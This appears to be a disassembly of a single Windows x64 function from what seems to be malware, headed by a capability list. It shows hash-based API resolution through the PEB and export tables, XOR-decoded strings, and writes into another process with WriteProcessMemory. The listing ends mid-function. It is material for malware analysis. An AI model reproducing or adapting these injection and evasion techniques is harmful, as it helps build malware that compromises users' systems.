Function at 0x140045050
Capabilities:
Access peb ldr_data
Create thread
Delete file
Encode data using xor
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x100
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x1400e8080]
xor rax, rsp
mov qword [rbp + 0x1f], rax
mov eax, dword [str.qQO_v_]
mov dword [rbp + 0x17], eax
movzx eax, word [0x1400d37a4]
mov word [rbp + 0x1b], ax
mov byte [rbp + 0x17], 0x46
xor byte [rbp + 0x18], 0x38
xor byte [rbp + 0x19], 0x39
xor byte [rbp + 0x1a], 0x3a
xor al, 0x3b
mov byte [rbp + 0x1b], al
xor byte [rbp + 0x1c], 0x3c
xorps xmm0, xmm0
movups xmmword [rbp - 0x71], xmm0
xor ebx, ebx
mov qword [rbp - 0x61], rbx
mov qword [rbp - 0x59], rbx
lea rax, [rbp + 0x17]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], bl
jne 0x1400450d0
lea rdx, [rbp + 0x17]
lea rcx, [rbp - 0x71]
call fcn.14003c4b0
lea rcx, [rbp - 0x71]
call fcn.140043e20
test al, al
je 0x140047215
mov dword [rbp + 0x17], ebx
lea rdx, [rbp - 0x11]
call fcn.140047220
mov r10, rax
mov qword [rbp - 0x79], rax
mov eax, dword [reloc.WS2_32.dll_accept]
cmp byte [r10 + 0x26], bl
je 0x1400452b3
mov r8d, ebx
cmp eax, 2
jl 0x14004526d
movdqa xmm5, xmmword [0x1400d5e70]
movdqa xmm4, xmmword [0x1400d6000]
movdqa xmm6, xmmword [0x1400d5e90]
movdqa xmm0, xmmword [str.7777777777777777]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400d5ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400d5ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140045160
cmp r8d, 0x27
jge 0x1400452b3
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x140045280
lea rdx, [rbp - 0x49]
call fcn.140047260
movzx ecx, byte [rax + 9]
test cl, cl
je 0x1400452ed
xor byte [rax], 0x37
xor byte [rax + 1], 0x38
xor byte [rax + 2], 0x39
xor byte [rax + 3], 0x3a
xor byte [rax + 4], 0x3b
xor byte [rax + 5], 0x3c
xor byte [rax + 6], 0x3d
xor byte [rax + 7], 0x3e
xor byte [rax + 8], 0x3f
xor cl, 0x40
mov byte [rax + 9], cl
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_FindWindowA]
mov r13, rax
test rax, rax
jne 0x1400453be
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140045396
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140045396
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rbx]
add rcx, r10
mov r8d, 0x811c9dc5
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140045391
nop dword [rax]
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140045370
cmp r8d, 0x2fa62ca8
je 0x14004539b
test r9d, r9d
jne 0x140045350
mov rax, qword [rax]
jmp 0x140045320
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0x640
call rax
jmp 0x1400452b3
mov r8, qword [0x14064bd20]
test r8, r8
jne 0x140045597
xor r9d, r9d
mov edi, 0xf50944d9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop dword [rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r9d, r9d
je 0x14004543d
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r8
je 0x140045434
nop
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140045420
cmp edx, r9d
jne 0x140045568
mov r10, qword [rsi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov r15, rcx
shr r15, 0x20
mov ebx, ecx
add rbx, r10
cmp rbx, r10
je 0x140045568
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140045568
mov r14d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
lea rax, [r10 + r8*4]
mov ecx, dword [rax + r14]
add rcx, r10
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1400454b6
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x1400454a0
cmp edx, edi
je 0x1400454c4
test r8d, r8d
jne 0x140045480
jmp 0x140045568
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rbx + 0x24]
add rax, r10
movzx eax, word [rax + r8*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
cmp r8, rbx
jbe 0x14004558c
lea rax, [rbx + r15]
cmp r8, rax
jae 0x14004558c
mov r9d, 0x811c9dc5
mov dword [rsp + 0x40], r9d
mov ecx, r9d
mov dword [rsp + 0x44], ecx
movzx eax, byte [r8]
cmp al, 0x2e
je 0x14004552d
nop dword [rax]
movsx eax, al
xor eax, r9d
imul r9d, eax, 0x1000193
inc r8
movzx eax, byte [r8]
cmp al, 0x2e
jne 0x140045510
mov dword [rsp + 0x40], r9d
inc r8
movzx eax, byte [r8]
test al, al
je 0x14004555b
nop dword [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
lea r8, [r8 + 1]
movzx eax, byte [r8]
test al, al
jne 0x140045540
mov dword [rsp + 0x44], ecx
mov rsi, qword [r12]
mov rdi, qword [rsp + 0x40]
shr rdi, 0x20
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x14004557e
cmp qword [rax + 0x30], 0
jne 0x1400453f0
xor ebx, ebx
mov r8d, ebx
mov qword [0x14064bd20], rbx
jmp 0x140045599
xor ebx, ebx
mov qword [0x14064bd20], r8
jmp 0x140045599
xor ebx, ebx
lea rdx, [rbp + 0x17]
mov rcx, r13
call r8
mov r13, qword [rbp - 0x79]
test eax, eax
je 0x1400455d1
cmp dword [rbp + 0x17], 0
je 0x1400455d1
mov rdx, r13
lea rcx, [rbp - 0x71]
call fcn.14003c3a0
nop
lea rcx, [rbp - 0x71]
call fcn.140044f10
nop
lea rcx, [rbp - 0x71]
call fcn.14003c340
mov r9, qword [0x14064bd40]
test r9, r9
jne 0x140045798
mov r10d, ebx
mov edi, 0x4105fc56
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r10d, r10d
je 0x14004564d
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r8
je 0x140045644
nop
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140045630
cmp edx, r10d
jne 0x140045778
mov r11, qword [rsi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rcx, qword [rax + r11 + 0x88]
mov r15, rcx
shr r15, 0x20
mov ebx, ecx
add rbx, r11
cmp rbx, r11
je 0x140045778
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140045778
mov r14d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r14]
add rcx, r11
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1400456c6
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x1400456b0
cmp edx, edi
je 0x1400456d4
test r8d, r8d
jne 0x140045690
jmp 0x140045778
mov ecx, dword [rbx + 0x24]
add rcx, r11
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r11
mov r9d, dword [rcx + rdx*4]
add r9, r11
cmp r9, rbx
jbe 0x140045791
lea rax, [rbx + r15]
cmp r9, rax
jae 0x140045791
mov r10d, 0x811c9dc5
mov dword [rsp + 0x40], r10d
mov ecx, r10d
mov dword [rsp + 0x44], ecx
movzx eax, byte [r9]
cmp al, 0x2e
je 0x14004573d
nop dword [rax]
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
inc r9
movzx eax, byte [r9]
cmp al, 0x2e
jne 0x140045720
mov dword [rsp + 0x40], r10d
inc r9
movzx eax, byte [r9]
test al, al
je 0x14004576b
nop dword [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
lea r9, [r9 + 1]
movzx eax, byte [r9]
test al, al
jne 0x140045750
mov dword [rsp + 0x44], ecx
mov rsi, qword [r12]
mov rdi, qword [rsp + 0x40]
shr rdi, 0x20
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x14004578e
cmp qword [rax + 0x30], 0
jne 0x140045600
xor r9d, r9d
mov qword [0x14064bd40], r9
mov r8d, dword [rbp + 0x17]
xor edx, edx
mov ecx, 0x1fffff
call r9
mov r15, rax
mov qword [rbp - 0x79], rax
test rax, rax
jne 0x140045b74
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140045846
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140045846
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140045841
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140045820
cmp r8d, 0xe76fb4aa
je 0x14004584b
test r9d, r9d
jne 0x140045800
mov rcx, qword [rcx]
jmp 0x1400457d0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
lea rdx, [rbp - 0x49]
call fcn.140047280
mov r10, rax
cmp byte [rax + 0x12], 0
je 0x140045a13
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400459cd
movdqa xmm5, xmmword [0x1400d5e70]
movdqa xmm4, xmmword [0x1400d6000]
movdqa xmm6, xmmword [0x1400d5e90]
movdqa xmm0, xmmword [str.7777777777777777]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400d5ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400d5ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400458c0
cmp r8d, 0x13
jge 0x140045a13
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1400459e0
mov rcx, r10
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140045aa6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140045aa6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140045aa1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140045a80
cmp r8d, 0x2fa62ca8
je 0x140045aab
test r9d, r9d
jne 0x140045a60
mov rax, qword [rax]
jmp 0x140045a30
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0xbb8
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140045b56
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140045b56
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140045b51
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140045b30
cmp r8d, 0xa52bcaf9
je 0x140045b5b
test r9d, r9d
jne 0x140045b10
mov rax, qword [rax]
jmp 0x140045ae0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov r10, qword [0x14064bd50]
test r10, r10
jne 0x140045d4c
xor r9d, r9d
mov edi, 0xaeb6049c
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r9d, r9d
je 0x140045bfd
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r8
je 0x140045bf4
nop
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140045be0
cmp edx, r9d
jne 0x140045d28
mov r11, qword [rsi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rcx, qword [rax + r11 + 0x88]
mov r15, rcx
shr r15, 0x20
mov ebx, ecx
add rbx, r11
cmp rbx, r11
je 0x140045d28
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140045d28
mov r14d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r11
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140045c76
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140045c60
cmp edx, edi
je 0x140045c84
test r8d, r8d
jne 0x140045c40
jmp 0x140045d28
mov ecx, dword [rbx + 0x24]
add rcx, r11
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r11
mov r10d, dword [rcx + rdx*4]
add r10, r11
cmp r10, rbx
jbe 0x140045d41
lea rax, [r15 + rbx]
cmp r10, rax
jae 0x140045d41
mov r9d, 0x811c9dc5
mov dword [rsp + 0x40], r9d
mov ecx, r9d
mov dword [rsp + 0x44], ecx
movzx eax, byte [r10]
cmp al, 0x2e
je 0x140045ced
nop dword [rax]
movsx eax, al
xor eax, r9d
imul r9d, eax, 0x1000193
inc r10
movzx eax, byte [r10]
cmp al, 0x2e
jne 0x140045cd0
mov dword [rsp + 0x40], r9d
inc r10
movzx eax, byte [r10]
test al, al
je 0x140045d1b
nop dword [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
lea r10, [r10 + 1]
movzx eax, byte [r10]
test al, al
jne 0x140045d00
mov dword [rsp + 0x44], ecx
mov rsi, qword [r12]
mov rdi, qword [rsp + 0x40]
shr rdi, 0x20
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x140045d3e
cmp qword [rax + 0x30], 0
jne 0x140045bb0
xor r10d, r10d
mov qword [0x14064bd50], r10
mov r15, qword [rbp - 0x79]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [r8 + r13], 0
jne 0x140045d56
inc r8
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov rcx, r15
call r10
mov r14, rax
mov qword [rbp - 0x49], rax
test rax, rax
jne 0x140046160
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140045e16
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140045e16
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140045e11
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140045df0
cmp r8d, 0xe76fb4aa
je 0x140045e1b
test r9d, r9d
jne 0x140045dd0
mov rcx, qword [rcx]
jmp 0x140045da0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
lea rdx, [rbp - 0x71]
call fcn.1400472b0
mov r10, rax
cmp byte [rax + 0x12], 0
je 0x140045fe3
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140045f9d
movdqa xmm5, xmmword [0x1400d5e70]
movdqa xmm4, xmmword [0x1400d6000]
movdqa xmm6, xmmword [0x1400d5e90]
movdqa xmm0, xmmword [str.7777777777777777]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400d5ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400d5ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140045e90
cmp r8d, 0x13
jge 0x140045fe3
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140045fb0
mov rcx, r10
call r11
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140046086
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140046086
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140046081
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140046060
cmp r8d, 0x2fa62ca8
je 0x14004608b
test r9d, r9d
jne 0x140046040
mov rax, qword [rax]
jmp 0x140046010
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0x5dc
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140046136
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140046136
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140046131
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140046110
cmp r8d, 0xa52bcaf9
je 0x14004613b
test r9d, r9d
jne 0x1400460f0
mov rax, qword [rax]
jmp 0x1400460c0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rbx, 0xffffffffffffffff
nop dword [rax + rax]
lea rbx, [rbx + 1]
cmp byte [rbx + r13], 0
jne 0x140046160
lea r9, [rbx + 1]
xor esi, esi
mov qword [rsp + 0x20], rsi
mov r8, r13
mov rdx, r14
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140046564
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140046216
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140046216
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140046211
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400461f0
cmp r8d, 0xe76fb4aa
je 0x14004621b
test r9d, r9d
jne 0x1400461d0
mov rax, qword [rax]
jmp 0x1400461a0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
lea rdx, [rbp - 0x71]
call fcn.1400472e0
mov r10, rax
cmp byte [rax + 0x12], sil
je 0x1400463e3
mov r8d, esi
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14004639d
